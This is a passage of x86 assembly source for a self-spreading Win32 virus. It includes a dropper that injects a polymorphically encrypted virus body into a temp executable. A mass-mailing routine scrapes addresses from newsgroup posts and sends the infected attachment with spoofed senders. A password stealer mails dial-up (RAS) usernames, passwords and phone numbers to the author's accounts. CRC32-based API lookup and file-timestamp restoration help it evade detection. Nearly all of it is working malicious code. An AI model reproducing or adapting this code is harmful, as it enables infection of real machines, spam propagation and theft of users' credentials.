;				Carry flag -> Set if error
;----------------------------------------------------------------------------

TearDrop:		;Get random filename

				lea edi,dword ptr [ebp+BufStrFilename]
				push edi
				push edi
				push MAX_PATH
				call dword ptr [ebp+a_GetTempPathA]
				add edi,eax
				call rnd_exefile
				pop esi

				;Create dropper file

                xor eax,eax
                push eax
                push FILE_ATTRIBUTE_NORMAL
                push CREATE_ALWAYS
                push eax
                push eax
                push GENERIC_READ or GENERIC_WRITE
                push esi
                call dword ptr [ebp+a_CreateFileA]
                cmp eax,INVALID_HANDLE_VALUE
                je error_dropper
				mov dword ptr [ebp+h_CreateFile],eax

				mov edi,SIZEOF_DROPPER
				call do_mem_map
				or eax,eax
				jz error_dropper
				mov ebx,eax

				;Unpack dropper over memory mapped file

				lea esi,dword ptr [ebp+dropper_pack]
				mov edi,eax
				cld
				xor edx,edx
unpack_beat:	lodsw
				movzx ecx,ax				
				test ah,80h
				jnz unpack_repeat
				add edx,ecx
				rep movsb
				jmp short unpack_next
unpack_repeat:	and ch,7Fh
				add edx,ecx
				xor al,al
				rep stosb
unpack_next:	cmp edx,SIZEOF_DROPPER
				jb unpack_beat

				;Close created file

				call UnmapClose
				call HandleClose

				;Inject virus into created file

				mov edi,((SIZEOF_DROPPER/size_padding)+01h)*size_padding
				call OpenMapFile
				or eax,eax
				jz error_dropper
				mov ebx,eax

				mov dword ptr [ebp+SizeOfModCode],00000001h

				mov byte ptr [ebp+OrgEPCode],0C3h
				cld
				mov edx,dword ptr [ebp+ep_junk_fix]
				mov edi,edx
                mov al,0E9h
                stosb
				mov esi,dword ptr [ebp+ep_junk_addr]
				sub edx,esi
				mov eax,00001000h+inf_size-00000005h
				sub eax,edx
				add eax,dword ptr [ebp+entry_point]
				stosd
				lea edi,dword ptr [ebx+00000600h] ;Pointer to code rawdata
				mov ecx,ep_junk_size
				rep movsb				
				
                lea edi,dword ptr [ebx+00000C00h]
				call ViralAttach

				call UnmapClose
				call HandleClose

				clc
				ret

error_dropper:	stc
				ret

;----------------------------------------------------------------------------
;Write virus to end of file, apply encryption and add its corresponding
;polymorphic decryptor
;
;On entry:
;				edi -> Where to place viral code
;----------------------------------------------------------------------------

ViralAttach:	;Get CRC32 of main virus body and save it for l8r use

				mov ecx,SizeOfProtect
				lea esi,dword ptr [ebp+CRC_protected]
				call get_crc32
				mov dword ptr [ebp+ViralChecksum],edx

				;Move virus to file

				lea esi,dword ptr [ebp+viro_sys]				
				mov ecx,inf_size
				push ecx
                push edi
				push edi
				push edi
                cld
                rep movsb

				;Generate 2nd encryption layer

				mov ecx,inf_size-SizeOf2nd
				pop esi
				add esi,SizeOf2nd
				mov edi,esi
Do2ndLayer:		lodsb
				rol al,04h
				stosb
				loop Do2ndLayer

				;Generate main polymorphic encryption

                call fixed_size2ecx
                pop edi
loop_hide_code: push ecx
                mov eax,dword ptr [edi]
                call perform_crypt
                xor ecx,ecx
                mov cl,byte ptr [ebp+oper_size]
loop_copy_res:  stosb
                shr eax,08h
                loop loop_copy_res
                pop ecx
                loop loop_hide_code
				pop edi
				pop ecx
				add edi,ecx

				;Write poly decryptor to file				

				lea esi,dword ptr [ebp+poly_buffer]				
				mov ecx,dword ptr [ebp+decryptor_size]
				rep movsb
				ret

;----------------------------------------------------------------------------
;Initialize Winsock
;
;On exit:
;				Carry flag -> Set if error
;----------------------------------------------------------------------------

WS_Init:		call GetPtrWSName

				db 'WSOCK32.DLL',00h

GetPtrWSName:	call dword ptr [ebp+a_LoadLibraryA]
				or eax,eax
				jz WS_error
				mov dword ptr [ebp+h_WS32DLL],eax
								
				;Find WSOCK32 API addresses

				mov ebx,eax
				mov ecx,NumWS32Apis				
				lea esi,dword ptr [ebp+CRC32WS32Apis]
				lea edi,dword ptr [ebp+epWS32Apis]
				call get_APIs
				jecxz WSDllReady

;----------------------------------------------------------------------------
;Terminate virus Winsock session
;----------------------------------------------------------------------------

FreeWSDll:		push dword ptr [ebp+h_WS32DLL]
				call dword ptr [ebp+a_FreeLibrary]
WS_error:		stc
				ret

WSDllReady:		clc
				ret

;----------------------------------------------------------------------------
;Initialize RAS
;
;On exit:
;				Carry flag -> Set if error
;----------------------------------------------------------------------------

RAS_Init:		call GetPtrRASName

				db 'RASAPI32.DLL',00h

GetPtrRASName:	call dword ptr [ebp+a_LoadLibraryA]
				or eax,eax
				jz RAS_error
				mov dword ptr [ebp+h_RASDLL],eax

				;Find RASAPI32 API addresses

				mov ebx,eax
				mov ecx,NumRASApis				
				lea esi,dword ptr [ebp+CRC32RASApis]
				lea edi,dword ptr [ebp+epRASApis]
				call get_APIs
				jecxz RasDllReady

;----------------------------------------------------------------------------
;Terminate virus RAS session
;----------------------------------------------------------------------------

FreeRasDll:		push dword ptr [ebp+h_RASDLL]
				call dword ptr [ebp+a_FreeLibrary]
RAS_error:		stc
				ret

RasDllReady:	clc
				ret

;----------------------------------------------------------------------------
;Initialize ADVAPI32
;
;On exit:
;				Carry flag -> Set if error
;----------------------------------------------------------------------------

AD_Init:		call GetPtrADName

				db 'ADVAPI32.DLL',00h

GetPtrADName:	call dword ptr [ebp+a_LoadLibraryA]
				or eax,eax
				jz AD_error
				mov dword ptr [ebp+h_ADDLL],eax
								
				;Find ADVAPI32 API addresses

				mov ebx,eax
				mov ecx,NumADApis				
				lea esi,dword ptr [ebp+CRC32ADApis]
				lea edi,dword ptr [ebp+epADApis]
				call get_APIs
				jecxz ADDllReady

;----------------------------------------------------------------------------
;Terminate virus Winsock session
;----------------------------------------------------------------------------

FreeADDll:		push dword ptr [ebp+h_ADDLL]
				call dword ptr [ebp+a_FreeLibrary]
AD_error:		stc
				ret

ADDllReady:		clc
				ret

;----------------------------------------------------------------------------
;Initialize connection to specified port
;
;On entry:
;				-> Pointer to a string with host ip address
;				-> Server port to connect to
;On exit:
;				Carry flag -> Set if error
;----------------------------------------------------------------------------

Connect:		;Prepare the socket

				lea eax,dword ptr [ebp+WSA_data]
				push eax
				push 00000001h
				call dword ptr [ebp+a_WSAStartup]
				or eax,eax
				jnz WSA_CleanUp

				mov eax,dword ptr [ebp+use_server]
				push eax
				call dword ptr [ebp+a_inet_addr]
				
				;Get HostEnt for a given address

				cld
				push AF_INET
				push 00000004h
				lea edi,dword ptr [ebp+InetAddr]
				push edi
				stosd
				call dword ptr [ebp+a_gethostbyaddr]
				or eax,eax
				jz WSA_CleanUp

				;Create the SockAddrIn structure

				cld
				lea esi,dword ptr [eax+00000008h]
				lea edi,dword ptr [ebp+SockAddrIn]
				push edi
				movsw
				push dword ptr [ebp+use_port]
				call dword ptr [ebp+a_htons]
				cld
				stosw
				lodsw
				movzx ecx,ax
				lodsd
				mov esi,dword ptr [eax]
				rep movsb

				;Create socket

				push ecx
				push SOCK_STREAM
				push AF_INET
				call dword ptr [ebp+a_socket]

				pop edi

				cmp eax,00000000h
				jl WSA_CleanUp
				mov dword ptr [ebp+conn_sock],eax

				;Connect!!!!

				push SizeOfAddrIn
				push edi
				push eax
				call dword ptr [ebp+a_connect]
				cmp eax,0FFFFFFFFh
				je Disconnect

				;Read welcome message

				call ReadResponse

				;Success

				clc
				ret

;----------------------------------------------------------------------------
;Terminate connection
;----------------------------------------------------------------------------

Disconnect:		push dword ptr [ebp+conn_sock]
				call dword ptr [ebp+a_closesocket]
				
WSA_CleanUp:	call dword ptr [ebp+a_WSACleanup]
				stc
				ret

;----------------------------------------------------------------------------
;Send a string to server
;
;On entry:
;				esi -> Pointer to string
;On exit:
;				eax -> Null if success
;----------------------------------------------------------------------------

str2server:		push esi
				cld
				mov edi,esi
				xor eax,eax
server_strlen:	scasb
				jnz server_strlen
				dec edi
				push eax
				sub edi,esi
				push edi				
				push esi
				push dword ptr [ebp+conn_sock]
				call dword ptr [ebp+a_send]
				sub eax,edi
				pop edi
				mov ecx,00FFFFFFh
inside_sleep:	loop inside_sleep
				ret

;----------------------------------------------------------------------------
;Send a group of strings to server port
;
;On entry:
;				ecx -> Number of strings
;				esi -> Ptr to string index
;On exit:
;				ecx -> Null if success
;----------------------------------------------------------------------------

send2port:		cld
headers_loop:	lodsd
				push ecx
				push esi
				lea esi,dword ptr [eax+ebp]
				call str2server
				pop esi
				pop ecx
				or eax,eax
				jnz error_header				
				lodsb
				or al,al
				jnz dont_recive
				call ReadResponse
				cmp eax,00000000h
				jl error_header
dont_recive:	loop headers_loop
error_header:	ret

ReadResponse:	push ecx
				push esi
				push eax
				push SIZEOF_RECVBUF
				lea eax,dword ptr [ebp+RecvBuffer]
				push eax
				push dword ptr [ebp+conn_sock]
				call dword ptr [ebp+a_recv]
				pop esi
				pop ecx
				ret

;----------------------------------------------------------------------------
;This routine initializes Winsock and RAS
;Then it tryes to connect to mail port on a server
;If connection is stablished this rotine will generate the mail header
;
;On exit:
;				Carry flag -> NULL if error
;----------------------------------------------------------------------------

init_internet:	;Initialize Winsock and Ras

				call WS_Init
				jc err_inet_WS
				call RAS_Init
				jc err_inet_RAS
				
				;Enumerate active RAS connections

				cld
				lea edi,dword ptr [ebp+number_of_names]
				push edi
				mov eax,Num_Ras_Entries
				stosd
				push edi
				mov eax,RAS_NAMES_NT
				stosd
				push edi
				mov eax,SIZEOF_RASCONN
				stosd
				call dword ptr [ebp+a_RasEnumConnectionsA]
				or eax,eax
				jnz close_internet
				cmp dword ptr [ebp+number_of_names],eax
				je close_internet
				clc
				ret

close_internet:	call FreeRasDll
err_inet_RAS:	call FreeWSDll
err_inet_WS:	stc
				ret

;----------------------------------------------------------------------------
;Send mail header to server
;----------------------------------------------------------------------------

g_mail_header:	mov ecx,NumberOfHeaders
				lea esi,dword ptr [ebp+mail_headers]
				call send2port
				ret

;----------------------------------------------------------------------------
;Send mail end
;----------------------------------------------------------------------------

g_mail_end:		mov ecx,NumberOfMailEnd
				lea esi,dword ptr [ebp+mail_end]
				call send2port				
				ret

;----------------------------------------------------------------------------
;Mail spreading routines
;----------------------------------------------------------------------------

share_the_fun:	;Initialize internet stuff				

				call init_internet
				jc exit_share

				;Connect to news port

				call rnd_news_srv
				jc out_of_share

fly_over_news:	;Select a ramdom type of message, available types are:
				;
				; - Message for people who post to hacking groups
				; - Message for people who post to cracks groups
				; - Message for people who post to sex groups

				mov eax,NumOfNGIndex
				call get_rnd_range
				xor edx,edx
				mov ecx,00000019h
				mul ecx
				lea edx,dword ptr [eax+ebp+NG_index_table]

				;Select a random newsgroup from the list

				movzx eax,byte ptr [edx]
				call get_rnd_range
				lea ecx,dword ptr [ebp+eax*04h]
				add ecx,dword ptr [edx+00000001h]
				mov esi,dword ptr [ecx]
				add esi,ebp
				
				;Put the newsgroup name after the 'GROUP' command

				cld
				lea edi,dword ptr [ebp+NewsGroup_Name]
copy_ng_name:	lodsb
				stosb
				or al,al
				jnz copy_ng_name

				;Now inject sender's domain

				mov esi,dword ptr [edx+00000005h]
				add esi,ebp
				lea edi,dword ptr [ebp+domain_here]
copy_domain:	lodsb
				stosb
				or al,al
				jnz copy_domain

				;Insert the address of the body text

				mov eax,dword ptr [edx+0000000Dh]
				mov dword ptr [ebp+AddrOfBody],eax

				;Add a nice subject to our mail

				mov esi,dword ptr [edx+00000011h]
				add esi,ebp
				lea edi,dword ptr [ebp+subject_here]
copy_subject:	lodsb
				stosb
				or al,al
				jnz copy_subject

				;Put a name to attached file

				mov esi,dword ptr [edx+00000015h]
				add esi,ebp
				lea edi,dword ptr [ebp+MIME_file_00]
				mov ecx,00000007h
				push ecx
				push esi
				rep movsb
				pop esi
				pop ecx
				lea edi,dword ptr [ebp+MIME_file_01]
				rep movsb
				
				;Its time to spoof sender mail address

				mov esi,dword ptr [edx+09h]
				add esi,ebp
				lea edi,dword ptr [ebp+mail_from_here0]
				lea edx,dword ptr [ebp+mail_from_here1]
				call InjectMailAddr

				;Get a mail address from any newsgroup message

				mov eax,0000000Ah
				call get_rnd_range
				inc eax

skip_some_msgs:	push eax

				mov ecx,num_nntp_comm
				lea esi,dword ptr [ebp+nntp_comm]
				call send2port
				pop eax
				jecxz got_from_news
				
				;Ouch! Something goes wrong while connected to
				;news server :(

				call Disconnect
				jmp out_of_share

got_from_news:	dec eax
				jnz skip_some_msgs

				;Get the mail address from the news message header

				mov ecx,SIZEOF_RECVBUF
				lea esi,dword ptr [ebp+RecvBuffer]
				cld
lookup_addr:	lodsb
				and al,0DFh
				cmp al,'F'
				je is_mail_here
				loop lookup_addr
				jmp fly_over_news

is_mail_here:	mov eax,dword ptr [esi]
				and eax,0FFDFDFDFh
				cmp eax,':MOR'
				je found_sender
				loop lookup_addr
				jmp fly_over_news

found_sender:	;Inject the obtained mail address into header
				;The message will be send to the guys who
				;posted to selected newsgroups
			
				lea edi,dword ptr [ebp+mail_to_here_00]
				lea edx,dword ptr [ebp+mail_to_here_01]
				call InjectMailAddr
				jc fly_over_news

				;We no longer need the connection to news server

				call Disconnect

				;Connect to mail port

				call rnd_mail_srv
				jc out_of_share

				;Send mail header

				call g_mail_header
				jecxz ready2share

out_of_share:	call close_internet
exit_share:		ret

ready2share:	;Create virus dropper

				call TearDrop
				jc close_share

				;Open dropper

				xor edi,edi
				call OpenMapFile
				or eax,eax
				jz delete_dropper
				mov ebx,eax
				
				;Send MIME headers

				mov ecx,NumberOfMime
				lea esi,dword ptr [ebp+mime_headers]
				call send2port
				
				;Inject BASE64 encoded strings inside mail body

				mov esi,ebx
				mov eax,((SIZEOF_DROPPER/size_padding)+01h)*size_padding
				call BASE64encode

				;Send end of MIME part

				mov ecx,NumberOfMimeEnd
				lea esi,dword ptr [ebp+mime_end]
				call send2port

close_dropper:	;Close dropper image

				call UnmapClose
				call HandleClose

delete_dropper:	lea eax,dword ptr [ebp+BufStrFilename]
				push eax
				call dword ptr [ebp+a_DeleteFileA]
				
close_share:	call g_mail_end
				call Disconnect
				jmp out_of_share

;----------------------------------------------------------------------------
;Connect to a random mail server
;----------------------------------------------------------------------------

rnd_mail_srv:	mov ecx,00000002h
err_SMTP:		push ecx
				push esi
				mov eax,NumOfSMTP
				call get_rnd_range
				lea esi,dword ptr [ebp+tbl_SMTP+eax*04h]
				cld
				lodsd
				add eax,ebp
				pop esi
				mov dword ptr [ebp+use_server],eax
				mov dword ptr [ebp+use_port],00000019h				
				call Connect
				jnc got_smtp_conn
				pop ecx
				loop err_SMTP
				stc
got_smtp_conn:	pop ecx
				ret

;----------------------------------------------------------------------------
;Connect to a random news server
;----------------------------------------------------------------------------

rnd_news_srv:	mov ecx,00000002h
err_NNTP:		push ecx
				push esi
				mov eax,NumOfNNTP
				call get_rnd_range
				lea esi,dword ptr [ebp+tbl_NNTP+eax*04h]
				cld
				lodsd
				add eax,ebp
				pop esi
				mov dword ptr [ebp+use_server],eax
				mov dword ptr [ebp+use_port],00000077h
				call Connect
				jnc got_nntp_conn
				pop ecx
				loop err_NNTP
				stc
got_nntp_conn:	pop ecx
				ret

;----------------------------------------------------------------------------
;Inject mail address on message header
;
;On entry:
;				esi -> Buffer that contains the mail address
;				edi -> Where to inject the mail address
;----------------------------------------------------------------------------

InjectMailAddr:	cld
				mov ecx,00000020h
skip_name_shit:	lodsb
				cmp al,'<'
				je found_mailb
				loop skip_name_shit

				;Accept only addresses inside < > characters

				stc
				ret

found_mailb:	dec esi
				mov ecx,00000040h
get_that_addr:	lodsb				
				stosb
				mov byte ptr [edx],al
				inc edx
				cmp al,'>'
				je end_of_addr
				loop get_that_addr

				;Oh! Shit! This mail address is too long :(

				stc
				ret

end_of_addr:	mov ax,000Ah
				stosw
				mov word ptr [edx],ax

				;The work is done, return success

				clc
				ret
	
;----------------------------------------------------------------------------
;BASE64 enconding routine
;
;On entry:
;				esi -> Input buffer
;				eax -> Size of input buffer (Min. 03h)
;----------------------------------------------------------------------------

BASE64encode:	push ebx
				lea ebx,dword ptr [ebp+TranslateTbl]
				lea edi,dword ptr [ebp+BeatBuffer]		
				xor edx,edx
				mov dword ptr [ebp+BeatCounter],edx
				mov ecx,00000003h
				div ecx
				mov ecx,eax
				push edx			;The rest
BASE64loop:		cld
				lodsd				;Take 03h bytes
				dec esi
				mov edx,eax
				call BASE64Block1
				call BASE64Block2
				call BASE64Block3
				call BASE64Block4
				loop BASE64loop

				pop ecx				;Get the rest
				jecxz no_rest

				cmp ecx,00000001h
				je rest_is_1

rest_is_2:		lodsw
				movzx edx,ax
				call BASE64Block1
				call BASE64Block2
				call BASE64Block3
				dec ecx
				jmp short rest_is_done

rest_is_1:		lodsb
				movzx edx,al
				call BASE64Block1
				call BASE64Block2
				inc ecx

rest_is_done:	mov al,'='
				cld
				rep stosb
no_rest:		mov ax,0A0Ah		;New-line and null terminator
				stosw
				xor al,al
				stosb
				lea esi,dword ptr [ebp+BeatBuffer]
				call str2server

				pop ebx
				ret

BASE64Block1:	mov eax,edx
				shr eax,02h
				jmp short got_6bits

BASE64Block2:	mov eax,edx
				shl al,04h
				shr ah,04h
				or al,ah
				jmp short got_6bits

BASE64Block3:	mov eax,edx
				shr eax,08h
				shl al,02h
				shr ah,06h
				or al,ah
				jmp short got_6bits

BASE64Block4:	mov eax,edx
				shr eax,10h
got_6bits:		cld
				and al,00111111b
				xlatb
				stosb

				mov eax,dword ptr [ebp+BeatCounter]
				inc eax
				mov dword ptr [ebp+BeatCounter],eax
				cmp eax,0000004Ch
				je put_new_line
				cmp eax,0000004Ch*02h
				je put_new_line
				cmp eax,0000004Ch*03h
				je put_new_line
				cmp eax,0000004Ch*04h
				je put_new_line
				cmp eax,0000004Ch*05h
				je put_new_line
				cmp eax,0000004Ch*06h
				je put_new_line
				cmp eax,0000004Ch*07h
				je put_new_line
				cmp eax,0000004Ch*08h
				jne BeatNotReady

				push ebx				
				push ecx
				push edx
				push esi

				mov ax,000Ah		;New-line and null terminator
				stosw
				lea esi,dword ptr [ebp+BeatBuffer]
				push esi
				call str2server		;Send string
				cld
				pop edi				;Again to buffer start
				xor eax,eax
				mov dword ptr [ebp+BeatCounter],eax
				
				pop esi
				pop edx
				pop ecx
				pop ebx
BeatNotReady:	ret

put_new_line:	mov al,0Ah
				stosb
				ret

;----------------------------------------------------------------------------
;Password stealing routine
;----------------------------------------------------------------------------

steal_passwd:	;Initialize internet stuff

				call init_internet
				jc exit_passwd

				;Connect to mail port

				call rnd_mail_srv
				jc out_of_passwd

				;Select the mail account that will recive stolen passwords

				mov eax,NumOfMyAccounts
				call get_rnd_range
                mov edx,dword ptr [ebp+MyAccounts+eax*04h]
				lea esi,dword ptr [edx+ebp]
				lea edi,dword ptr [ebp+mail_to_here_00]
				lea edx,dword ptr [ebp+mail_to_here_01]

				call InjectMailAddr

				;Now inject sender's domain

				lea esi,dword ptr [ebp+lamer_domain]
				lea edi,dword ptr [ebp+domain_here]
				mov ecx,lamer_domain_s
				rep movsb

				;Its time for the sender address

				lea esi,dword ptr [ebp+lamer_mail]
				lea edi,dword ptr [ebp+mail_from_here0]
				lea edx,dword ptr [ebp+mail_from_here1]
				call InjectMailAddr

				call g_mail_header
				jecxz passwd_is_ok

out_of_passwd:	call close_internet
exit_passwd:	ret

passwd_is_ok:	;Now stole info about dialup accounts

				cld
				lea edi,dword ptr [ebp+number_of_names]
				push edi
				mov eax,Num_Ras_Entries
				stosd
				push edi
				mov eax,RASE_NAMES_NT
				stosd
				push edi
				mov eax,SIZEOF_RASENTRY
				stosd
				xor eax,eax
				push eax
				push eax
				call dword ptr [ebp+a_RasEnumEntriesA]
				or eax,eax
				jnz close_passwd

				;Now we have the names of RAS entries, lets get the info
				;about each one				
				
				mov ecx,dword ptr [ebp+number_of_names]
				cmp ecx,eax
				je close_passwd
				mov esi,edi
get_entry_data:	cld
				push ecx
				push esi
				lea edi,dword ptr [ebp+RASP_ret_passwd]
				push edi
				xor eax,eax
				stosd
				push edi
				mov eax,SIZEOF_RASPARAM
				stosd
copy_ras_name:	lodsb
				stosb
				or al,al
				jnz copy_ras_name
				push 0000000h
				call dword ptr [ebp+a_RasGetEntryDialParamsA]
				or eax,eax
				jnz bad_entry

				lea esi,dword ptr [ebp+szMailNewLine]
				call str2server

				lea esi,dword ptr [ebp+szRASEntrieName]
				call str2server
				lea esi,dword ptr [ebp+RASP_INFO+0004h]
				call str2server

				lea esi,dword ptr [ebp+szRASPhoneNum]
				call str2server
				lea esi,dword ptr [ebp+RASP_INFO+0105h]
				call str2server
				
				lea esi,dword ptr [ebp+szRASCallBack]
				call str2server
				lea esi,dword ptr [ebp+RASP_INFO+0186h]
				call str2server

				lea esi,dword ptr [ebp+szRASUserName]
				call str2server
				lea esi,dword ptr [ebp+RASP_INFO+0207h]
				call str2server

				lea esi,dword ptr [ebp+szRASPassword]
				call str2server
				lea esi,dword ptr [ebp+RASP_INFO+0308h]
				call str2server

				lea esi,dword ptr [ebp+szRASDomain]
				call str2server
				lea esi,dword ptr [ebp+RASP_INFO+0409h]
				call str2server
				
bad_entry:		pop esi
				add esi,SIZEOF_RASENTRY
				pop ecx
				loop get_entry_data

close_passwd:	call g_mail_end
				call Disconnect
				jmp out_of_passwd

;----------------------------------------------------------------------------
;Open file and create its memory mapped image
;
;On entry:
;				BufStrFilename -> Buffer filled with path + filename
;				edi -> New size of file or NULL to stay in current size
;Exit:
;				eax -> Base address of memory map for file or null if error
;----------------------------------------------------------------------------

OpenMapFile:	;Get current file attributes

				lea esi,dword ptr [ebp+BufStrFilename]
				push esi
				call dword ptr [ebp+a_GetFileAttributesA]
				cmp eax,0FFFFFFFFh
				je e_OpenMapFile
				mov dword ptr [ebp+CurFileAttr],eax

                ;Reset file attributes so we can read/write

                push FILE_ATTRIBUTE_NORMAL
                push esi
                call dword ptr [ebp+a_SetFileAttributesA]
                or eax,eax
                jz e_OpenMapFile

                ;Open existing file

                xor eax,eax
                push eax
                push FILE_ATTRIBUTE_NORMAL
                push OPEN_EXISTING
                push eax
                push eax
                push GENERIC_READ or GENERIC_WRITE
                push esi
                call dword ptr [ebp+a_CreateFileA]
                cmp eax,INVALID_HANDLE_VALUE
                je Restore_Attrib
				mov dword ptr [ebp+h_CreateFile],eax

				;Get current file time

				cld
				lea esi,dword ptr [ebp+FileLastWriteT]
				push esi
				lodsd
				push esi
				lodsd
				push esi
				push dword ptr [ebp+h_CreateFile]
				call dword ptr [ebp+a_GetFileTime]
				or eax,eax
				jz Close_Create

do_mem_map:		;Create filemapping over file
                       
				xor eax,eax         
                push eax
				push edi
                push eax
                push PAGE_READWRITE
                push eax
                push dword ptr [ebp+h_CreateFile]
                call dword ptr [ebp+a_CreateFileMappingA]
                or eax,eax
                jz Close_Create
				mov dword ptr [ebp+h_FileMap],eax

                ;Map file in memory, get base address

                xor edx,edx
                push edi
                push edx
                push edx
                push FILE_MAP_WRITE
                push eax
                call dword ptr [ebp+a_MapViewOfFile]
                or eax,eax
                jnz e_OpenMapFile
				call Close_Mapping

				;Continue into next routine

;----------------------------------------------------------------------------
;Close file handle
;----------------------------------------------------------------------------

HandleClose:	;Restore file time

				cld
                lea esi,dword ptr [ebp+FileLastWriteT]
				push esi
				lodsd
				push esi
				lodsd
				push esi
				lodsd
				push dword ptr [ebp+h_CreateFile]
				call dword ptr [ebp+a_SetFileTime]

Close_Create:	;Close handle created by CreateFileA

                push dword ptr [ebp+h_CreateFile]
                call dword ptr [ebp+a_CloseHandle]

Restore_Attrib:	;Restore file attributes

                push dword ptr [ebp+CurFileAttr]
                lea eax,dword ptr [ebp+BufStrFilename]
                push eax
                call dword ptr [ebp+a_SetFileAttributesA]
				xor eax,eax
e_OpenMapFile:	ret

;----------------------------------------------------------------------------
;Unmap memory mapped file
;
;On entry:
;				ebx -> File base address in memory
;----------------------------------------------------------------------------

UnmapClose:		push ebx
                call dword ptr [ebp+a_UnmapViewOfFile]

Close_Mapping:	;Close handle created by CreateFileMappingA

                push dword ptr [ebp+h_FileMap]
                call dword ptr [ebp+a_CloseHandle]
				ret

;----------------------------------------------------------------------------
;Call WriteProcessMemory in order to modify current process
;----------------------------------------------------------------------------

myWriteProcMem: ;Entry:
                ;
                ; eax -> Number of bytes to write
                ; edx -> Points to the buffer that supplies data to be 
				;		 written
				; esi -> Points to the base address in the specified process
                ;        to be written to

                pushad
                push 00000000h
                push eax
                push edx
                push esi
                call dword ptr [ebp+a_GetCurrentProcess]
                push eax
                call dword ptr [ebp+a_WriteProcessMemory]
                popad
                ret

;----------------------------------------------------------------------------
;Make crc lookup table
;
;Generate a table for a byte-wise 32-bit CRC calculation on the polynomial:
;x^32+x^26+x^23+x^22+x^16+x^12+x^11+x^10+x^8+x^7+x^5+x^4+x^2+x+1.
;
;Polynomials over GF(2) are represented in binary, one bit per coefficient,
;with the lowest powers in the most significant bit.  Then adding polynomials
;is just exclusive-or, and multiplying a polynomial by x is a right shift by
;one.  If we call the above polynomial p, and represent a byte as the
;polynomial q, also with the lowest power in the most significant bit (so the
;byte 0xb1 is the polynomial x^7+x^3+x+1), then the CRC is (q*x^32) mod p,
;where a mod b means the remainder after dividing a by b.
;
;This calculation is done using the shift-register method of multiplying and
;taking the remainder.  The register is initialized to zero, and for each
;incoming bit, x^32 is added mod p to the register if the bit is a one (where
;x^32 mod p is p+x^32 = x^26+...+1), and the register is multiplied mod p by
;x (which is shifting right by one and adding x^32 mod p if the bit shifted
;out is a one).  We start with the highest power (least significant bit) of
;q and repeat for all eight bits of q.
;
;The table is simply the CRC of all possible eight bit values.  This is all
;the information needed to generate CRC's on data a byte at a time for all
;combinations of CRC register values and incoming bytes.
;
;Original C code by Mark Adler
;Translated to asm for Win32 by GriYo
;----------------------------------------------------------------------------
				
make_crc_tbl:	;Make exclusive-or pattern from polynomial (0EDB88320h)
				;
				;The following commented code is an example of how to
				;make the exclusive-or pattern from polynomial
				;at runtime
;
;				xor edx,edx
;				mov ecx,0000000Eh
;				lea ebx,dword ptr [ebp+tbl_terms]
;calc_poly:		mov eax,ecx
;				xlatb
;				sub eax,0000001Fh
;				neg eax
;				bts edx,eax
;				loop calc_poly
;
;				edx contains now the exclusive-or pattern
;
;				The polynomial is:
;
; X^32+X^26+X^23+X^22+X^16+X^12+X^11+X^10+X^8+X^7+X^5+X^4+X^2+X^1+X^0
;
;tbl_terms		db 0,1,2,4,5,7,8,10,11,12,16,22,23,26
;				
				cld
				mov ecx,00000100h
				lea edi,dword ptr [ebp+tbl_crc32]
crc_tbl_do:		mov eax,000000FFh
				sub eax,ecx
				push ecx
				mov ecx,00000008h				
make_crc_value:	shr eax,01h
				jnc next_value
				xor eax,0EDB88320h
next_value:		loop make_crc_value				
				pop ecx
				stosd
				loop crc_tbl_do
				ret

;----------------------------------------------------------------------------
;Return a 32bit CRC of the contents of the buffer
;On entry:
;				esi -> Ptr to buffer
;				ecx -> Buffer size
;On exit:
;				edx -> 32bit CRC
;----------------------------------------------------------------------------

get_crc32:		cld
				push edi
				xor edx,edx
				lea edi,dword ptr [ebp+tbl_crc32]
crc_calc:		push ecx
				lodsb
				xor eax,edx
				and eax,000000FFh				
				shr edx,08h
				xor edx,dword ptr [edi+eax]
				pop ecx
				loop crc_calc
				pop edi
				ret

;----------------------------------------------------------------------------
;Get a 32bit CRC of a null terminated array
;
;On entry:
;				esi -> Ptr to string
;Exit:
;				edx -> 32bit CRC
;----------------------------------------------------------------------------

get_str_crc32:	cld
				push ecx
				push edi
				mov edi,esi
				xor eax,eax
				mov ecx,eax
crc_sz:			inc ecx
				scasb
				jnz crc_sz
				call get_crc32
				pop edi
				pop ecx
				ret

;----------------------------------------------------------------------------
;Get the entry-point of GetProcAddress
;
;On entry:
;				ebx -> KERNELL32 base address
;On exit:
;				eax -> Address of GetProcAddress
;----------------------------------------------------------------------------

GetGetProcAddr: cld
				mov eax,dword ptr [ebx+IMAGE_DOS_HEADER.MZ_lfanew]
                mov edx,dword ptr [eax+										\
								   ebx+										\
								   NT_OptionalHeader.						\
                                   OH_DirectoryEntries.						\
                                   DE_Export.								\
                                   DD_VirtualAddress]
                add edx,ebx
				mov esi,dword ptr [edx+ED_AddressOfNames]
				add esi,ebx
				mov edi,dword ptr [edx+ED_AddressOfNameOrdinals]
				add edi,ebx
				mov ecx,dword ptr [edx+ED_NumberOfNames]				

function_loop:	lodsd
				push edx
				push esi
				lea esi,dword ptr [eax+ebx] ;Get ptr to API name
				call get_str_crc32			;Get CRC32 of API name
				pop esi			
				cmp edx,dword ptr [ebp+CrcGetProcAddr]					
				je API_found
				inc edi
				inc edi
				pop edx
				loop function_loop
				ret

API_found:		pop edx
				movzx eax,word ptr [edi]
				sub eax,dword ptr [edx+ED_BaseOrdinal]
				inc eax
				shl eax,02h
				mov esi,dword ptr [edx+ED_AddressOfFunctions]
                add esi,eax
                add esi,ebx
                lodsd
                add eax,ebx
                ret

;----------------------------------------------------------------------------
;Get the entry-point of each needed API
;
;This routine uses the CRC32 instead of API names
;
;On entry:
;				ebx	-> Base address of DLL in memory
;				ecx -> Number of APIs in the folling buffer
;				esi -> Buffer filled with the CRC32 of each API name
;				edi -> Recives found API addresses
;On exit:
;			    ecx -> Is 00000000h if everything was ok
;----------------------------------------------------------------------------

get_APIs:		cld				
get_each_API:	push ecx
				push esi
				
				;Get a pointers to the EXPORT data

				mov eax,dword ptr [ebx+IMAGE_DOS_HEADER.MZ_lfanew]
                mov edx,dword ptr [eax+										\
								   ebx+										\
								   NT_OptionalHeader.						\
                                   OH_DirectoryEntries.						\
                                   DE_Export.								\
                                   DD_VirtualAddress]
                add edx,ebx
				mov esi,dword ptr [edx+ED_AddressOfNames]
				add esi,ebx
				mov ecx,dword ptr [edx+ED_NumberOfNames]				

API_Loop:		;Try to find tha API name that matches given CRC32

				lodsd
				push esi							;Ptr to AddressOfNames
				lea esi,dword ptr [eax+ebx]			;Get ptr to API name
				push esi							;Save ptr to API name
				call get_str_crc32					;Get CRC32 of API name
				mov esi,dword ptr [esp+00000008h]
				lodsd
				cmp eax,edx
